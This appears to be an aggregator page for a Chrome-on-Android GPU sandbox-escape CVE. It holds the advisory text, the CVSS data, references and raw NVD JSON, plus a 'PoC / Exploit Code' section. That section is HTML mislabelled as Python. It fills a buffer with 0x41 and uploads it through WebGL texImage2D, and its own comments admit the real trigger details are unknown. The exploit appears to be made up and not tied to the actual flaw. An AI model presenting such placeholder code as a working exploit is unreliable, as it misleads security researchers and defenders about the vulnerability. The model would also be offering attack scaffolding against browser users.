CVE-2026-8571

Description

Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Android < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Proof of Concept (PoC) for CVE-2026-8571
  Description: This HTML page attempts to trigger the GPU sandbox escape
               by sending crafted commands via WebGL.
  Usage: Open in a vulnerable version of Chrome on Android (< 148.0.7778.168)
-->
<html>
<head>
    <title>CVE-2026-8571 PoC</title>
</head>
<body>
    <h1>Testing GPU Sandbox Escape</h1>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        // Attempt to get a WebGL context to interact with the GPU process
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (!gl) {
            console.error('WebGL not supported');
        } else {
            console.log('WebGL context initialized');

            // Craft a buffer to trigger insufficient policy enforcement
            // The specific size and data pattern would depend on the vulnerability details
            const bufferSize = 0x100000; 
            const bufferData = new ArrayBuffer(bufferSize);
            const view = new Uint8Array(bufferData);
            
            // Fill with a specific pattern (e.g., 0x41) to test memory corruption
            for (let i = 0; i < bufferSize; i++) {
                view[i] = 0x41;
            }

            // Create a texture and upload the crafted data to the GPU
            const texture = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, texture);
            
            // texImage2D is a common vector for sending data to the GPU
            // This call attempts to exploit the policy enforcement issue
            try {
                gl.texImage2D(
                    gl.TEXTURE_2D,      // Target
                    0,                  // Level
                    gl.RGBA,            // Internal format
                    1024,               // Width (Arbitrary large size)
                    1024,               // Height
                    0,                  // Border
                    gl.RGBA,            // Format
                    gl.UNSIGNED_BYTE,   // Type
                    view                // Pixel data
                );
                console.log('Command sent to GPU');
            } catch (e) {
                console.error('Exception thrown:', e);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8571
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8571
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8571/
[4] VulDB https://vuldb.com/cve/CVE-2026-8571
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/491422244

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8571", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:19.383", "lastModified": "2026-05-14T22:16:50.597", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in GPU in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/491422244", "source": "[email protected]"}]}}